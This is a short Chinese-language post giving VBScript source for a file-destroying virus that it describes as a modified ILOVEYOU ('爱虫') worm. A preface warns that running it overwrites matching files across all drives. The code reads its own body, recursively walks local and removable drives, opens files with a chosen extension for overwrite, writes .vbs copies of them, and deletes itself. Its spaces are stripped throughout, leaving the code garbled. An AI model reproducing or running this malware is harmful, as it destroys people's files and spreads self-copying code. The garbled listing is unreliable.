说明：作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后，会寻找硬盘上所有满足条件的文件，对其进行强制性覆盖（满足条件的文件数据将全部丢失）、并再创建一个相同文件名但后带.vbs的文件。因此，请注意设立好破坏测试条件，千万不要对他人进行测试，否则，一切后果自负。如果你的系统不支持.vbs,可以将后缀改为.vbe

dimfolder,fso,foldername,f,d,dc

setfso=createobject("scripting.filesystemobject")

setself=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall'读取病毒体，以备复制到文件

self.close

setdc=fso.Drives

foreachdindc

ifd.drivetype=3ord.drivetype=2then'检查磁盘类型

wscript.echod'弹出窗口，显示找到盘符

scan(d)

endif

next

lsfile=wscript.scriptfullname'该脚本程序路径

setlsfile=fso.getfile(lsfile)

lsfile.delete(true)'病毒运行后自我删除(本人自加，爱虫病毒本身没有该代码）

subscan(folder_)

onerrorresumenext

setfolder_=fso.getfolder(folder_)

setfiles=folder_.files

foreachfileinfiles

ext=fso.GetExtensionName(file)'获取文件后缀

ext=lcase(ext)'后缀名转换成小写字母

ifext="mp5"then'如果后缀名是mp5,当然不存在这种文件，这里可以自己修改，但是注意。请自己建立相应后缀名的文件，最好是非正常后缀名

setap=fso.opentextfile(file.path,2,true)

'ap.writevbscopy'覆盖文件，慎用

ap.close

setcop=fso.getfile(file.path)

cop.copy(file.path&".vbs")'创建另外一个病毒文件

'file.delete(true)'删除原来文件

endif

next

setsubfolders=folder_.subfolders

foreachsubfolderinsubfolders'搜索其他目录

scan(subfolder)

next

endsub